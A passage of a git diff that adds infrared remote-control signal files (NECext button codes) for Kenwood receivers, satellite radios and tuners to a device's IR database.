LOUDNESS+ +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 59 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 59 00 00 00 +# +name: TONE- +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 5A 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 5A 00 00 00 +# +name: TONE+ +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 5B 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 5B 00 00 00 +# +name: DOLBY_DIG +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 5C 00 00 00 +# +name: DOLBY_DIGITAL +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 5C 00 00 00 +# +name: DOLBY_DIGITAL +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 5C 00 00 00 +# +name: DVD_INPUT +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 80 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 80 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 80 00 00 00 +# +name: ANALOG +type: parsed +protocol: NECext +address: B8 03 00 00 +command: CA 00 00 00 +# +name: DTS +type: parsed +protocol: NECext +address: B8 03 00 00 +command: CB 00 00 00 +# +name: DTS +type: parsed +protocol: NECext +address: B8 03 00 00 +command: CB 00 00 00 +# +name: MIDNIGHT_MODE +type: parsed +protocol: NECext +address: B8 03 00 00 +command: CC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,4.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,4.ir new file mode 100644 index 000000000..629602107 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,4.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: ZONE_B_VIDEO_1 +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 00 00 00 00 +# +name: ZONE_B_VIDEO_2 +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 01 00 00 00 +# +name: ZONE_B_VIDEO_3 +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 02 00 00 00 +# +name: ZONE_B_VIDEO_4 +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 03 00 00 00 +# +name: ZONE_B_TUNER +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 05 00 00 00 +# +name: ZONE_B_CD_1 +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 06 00 00 00 +# +name: ZONE_B_TAPE_1 +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 16 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 17 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 18 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 18 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 18 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 1B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 1B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 49 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 49 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 4A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 83 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 8B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,5.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,5.ir new file mode 100644 index 000000000..0a5b53280 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,5.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: B8 05 00 00 +command: 4F 00 00 00 +# +name: TUNER_MEMORY +type: parsed +protocol: NECext +address: B8 05 00 00 +command: 4F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 05 00 00 +command: 4F 00 00 00 +# +name: MPEG +type: parsed +protocol: NECext +address: B8 05 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,6.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,6.ir new file mode 100644 index 000000000..f391351e3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,6.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: CD-R_INPUT +type: parsed +protocol: NECext +address: B8 06 00 00 +command: 10 00 00 00 +# +name: CD-R +type: parsed +protocol: NECext +address: B8 06 00 00 +command: 10 00 00 00 +# +name: ZONE_B_CDR +type: parsed +protocol: NECext +address: B8 06 00 00 +command: 11 00 00 00 +# +name: ZONE_B_DVD +type: parsed +protocol: NECext +address: B8 06 00 00 +command: 12 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 06 00 00 +command: 1F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: B8 06 00 00 +command: 41 00 00 00 +# +name: FULL_AUTO +type: parsed +protocol: NECext +address: B8 06 00 00 +command: 50 00 00 00 +# +name: FULL_AUTO +type: parsed +protocol: NECext +address: B8 06 00 00 +command: 50 00 00 00 +# +name: DIGITAL_MANUAL +type: parsed +protocol: NECext +address: B8 06 00 00 +command: 52 00 00 00 +# +name: ANALOG_6_CH. +type: parsed +protocol: NECext +address: B8 06 00 00 +command: 53 00 00 00 +# +name: ZONE_A_POWER_OFF +type: parsed +protocol: NECext +address: B8 06 00 00 +command: 80 00 00 00 +# +name: ZONE_A_POWER_ON +type: parsed +protocol: NECext +address: B8 06 00 00 +command: 81 00 00 00 +# +name: ZONE_B_OFF +type: parsed +protocol: NECext +address: B8 06 00 00 +command: 82 00 00 00 +# +name: ZONE_B_ON +type: parsed +protocol: NECext +address: B8 06 00 00 +command: 83 00 00 00 +# +name: RELAY_OFF +type: parsed +protocol: NECext +address: B8 06 00 00 +command: 88 00 00 00 +# +name: RELAY_ON +type: parsed +protocol: NECext +address: B8 06 00 00 +command: 89 00 00 00 +# +name: RELAY_ON +type: parsed +protocol: NECext +address: B8 06 00 00 +command: 89 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,7.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,7.ir new file mode 100644 index 000000000..808d252dc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,7.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: PL_II_MOVIE +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 00 00 00 00 +# +name: DOLBY_PL_2_MOVE +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 00 00 00 00 +# +name: PL_II_MUSIC +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 01 00 00 00 +# +name: DOLBY_PL_2_MUSIC +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 01 00 00 00 +# +name: CONCERT_HALL +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 04 00 00 00 +# +name: STADIUM_2 +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 05 00 00 00 +# +name: DTS_NEO_6_CINEMA +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 0C 00 00 00 +# +name: NEO_CINEMA +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 0C 00 00 00 +# +name: DTS_NEO_6_MUSIC +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 0D 00 00 00 +# +name: NEO_MUSIC +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 0D 00 00 00 +# +name: MULTI_CH._MUSIC +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 0F 00 00 00 +# +name: MULTI_CH_MUSIC +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 0F 00 00 00 +# +name: PANORAMA +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir new file mode 100644 index 000000000..e3f73f517 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: VIDEO1_CH_^_(ANY_^) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: VIDEO1_CH_V_(ANY_V) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: VIDEO1_STOP_(BAND) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: VIDEO1_PLAY_(P.CALL) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: VIDEO1_REC +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: VIDEO1_POWER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: VIDEO_POWER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: VCR/TV_(LEVEL_AUDIO) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0A 00 00 00 +# +name: VIDEO1_>>_(TUNING) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: VIDEO1_<<_(TUNING) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: VIDEO1_PAUSE_(AUTO) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0E 00 00 00 +# +name: VIDEO1_1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 10 00 00 00 +# +name: VIDEO1_2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 11 00 00 00 +# +name: VIDEO1_3 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 12 00 00 00 +# +name: VIDEO1_4 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 13 00 00 00 +# +name: VIDEO1_5 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 14 00 00 00 +# +name: VIDEO1_6 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 15 00 00 00 +# +name: VIDEO1_7 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 16 00 00 00 +# +name: VIDEO1_8 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 17 00 00 00 +# +name: VIDEO1_9 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 18 00 00 00 +# +name: VIDEO1_0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir new file mode 100644 index 000000000..2fe3c5d36 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_ANY_^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: TV_CH_^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: TV_ANY_V +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: TV_CH_V +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: TV_VOLUME_^_(>) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: TV_VOL._^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: TV_VOLUME_V_(<) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: TV_VOL._V +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: TV_MUTE_([]) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: TV_FUNCTION +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: TV_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir new file mode 100644 index 000000000..bd87f73b8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: VIDEO2_VCR/TV_(LVL +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 00 00 00 00 +# +name: VCR2_FUNCTION +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 00 00 00 00 +# +name: VIDEO2_>>_(TUNING) +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 04 00 00 00 +# +name: VCR2_FFWD_>> +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 04 00 00 00 +# +name: VIDEO2_CH_V_(ANY_V) +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 08 00 00 00 +# +name: VCR2_ANY_V +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 08 00 00 00 +# +name: VIDEO2_PLAY_(P.CALL) +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0A 00 00 00 +# +name: VCR2_PLAY_> +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0A 00 00 00 +# +name: VIDEO2_PAUSE_(AUTO) +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0B 00 00 00 +# +name: VCR2_PAUSE_ +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0B 00 00 00 +# +name: VIDEO2_<<_(TUNING) +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0C 00 00 00 +# +name: VCR2_REW_<< +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0C 00 00 00 +# +name: VIDEO2_CH_^_(ANY_^) +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 10 00 00 00 +# +name: VCR2_ANY_^ +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 10 00 00 00 +# +name: VIDEO2_REC +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1A 00 00 00 +# +name: VCR2_REC +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1A 00 00 00 +# +name: VIDEO2_STOP_(BAND) +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1C 00 00 00 +# +name: VCR2_STOP_[] +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1C 00 00 00 +# +name: VIDEO2_1 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1F 00 00 00 +# +name: VCR2_1 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1F 00 00 00 +# +name: VIDEO2_POWER +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 20 00 00 00 +# +name: VCR2_POWER +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 20 00 00 00 +# +name: VIDEO2_2 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 21 00 00 00 +# +name: VCR2_2 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 21 00 00 00 +# +name: VIDEO2_3 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 22 00 00 00 +# +name: VCR2_3 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 22 00 00 00 +# +name: VIDEO2_4 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 23 00 00 00 +# +name: VCR2_4 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 23 00 00 00 +# +name: VIDEO2_5 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 24 00 00 00 +# +name: VCR2_5 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 24 00 00 00 +# +name: VIDEO2_6 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 25 00 00 00 +# +name: VCR2_6 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 25 00 00 00 +# +name: VIDEO2_7 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 26 00 00 00 +# +name: VCR2_7 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 26 00 00 00 +# +name: VIDEO2_8 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 27 00 00 00 +# +name: VCR2_8 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 27 00 00 00 +# +name: VIDEO2_9 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 28 00 00 00 +# +name: VCR2_9 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 28 00 00 00 +# +name: VIDEO2_0 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 29 00 00 00 +# +name: VCR2_O +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 29 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir new file mode 100644 index 000000000..e42d2d135 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 01 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 02 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 03 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 09 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 0A 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 0A 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 0C 00 00 00 +# +name: BANK +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 0D 00 00 00 +# +name: BANK +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 0E 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 10 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 10 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 11 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 12 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 13 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 13 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 14 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 14 00 00 00 +# +name: CATAGORY_< +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 15 00 00 00 +# +name: CATAGORY_LEFT +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 15 00 00 00 +# +name: CATAGORY_> +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 16 00 00 00 +# +name: CATAGORY_RIGHT +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 16 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 17 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 17 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 18 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 18 00 00 00 +# +name: SEEK_MODE +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 19 00 00 00 +# +name: SEEK_MODE +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 19 00 00 00 +# +name: &()- +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1A 00 00 00 +# +name: '_?! +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1B 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1C 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1C 00 00 00 +# +name: SPACE +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1E 00 00 00 +# +name: SPACE +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_SCAN +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1F 00 00 00 +# +name: CHANNEL_SCAN +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Sirius/2,255.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Sirius/2,255.ir new file mode 100644 index 000000000..c44a488f3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Sirius/2,255.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 09 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 0A 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 0C 00 00 00 +# +name: BANK +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 0E 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 10 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 11 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 12 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 13 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 14 00 00 00 +# +name: CATAGORY_LEFT +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 15 00 00 00 +# +name: CATAGORY_RIGHT +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 16 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 17 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 18 00 00 00 +# +name: SEEK_MODE +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 19 00 00 00 +# +name: &()- +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1A 00 00 00 +# +name: '_?! +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1B 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1C 00 00 00 +# +name: SPACE +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_SCAN +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Tuner/182,75.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Tuner/182,75.ir new file mode 100644 index 000000000..ee6ee5e84 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Tuner/182,75.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: LD_STOP_[] +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 11 00 00 00 +# +name: LD_PAUSE_ +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 12 00 00 00 +# +name: LD_REW_<< +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 14 00 00 00 +# +name: LD_FF_>> +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 15 00 00 00 +# +name: LD_PLAY_> +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 9A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir new file mode 100644 index 000000000..ce8218ece --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir @@ -0,0 +1,464 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_SCAN_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 06 00 00 00 +# +name: CD_SCAN_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 07 00 00 00 +# +name: CD_DISC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 08 00 00 00 +# +name: TUNER/CD_+10 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0D 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0D 00 00 00 +# +name: EQ.EFFECT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 1D 00 00 00 +# +name: DELAY_TIME_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 4C 00 00 00 +# +name: DELAY_TIME_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 4D 00 00 00 +# +name: TEST_TONE_ON/OFF +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 56 00 00 00 +# +name: TEST_TONE_MODE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 57 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 58 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 59 00 00 00 +# +name: TUNER/CD_0 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: TUNER/CD_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 81 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 81 00 00 00 +# +name: TUNER/CD_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 82 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B8 00 00 00 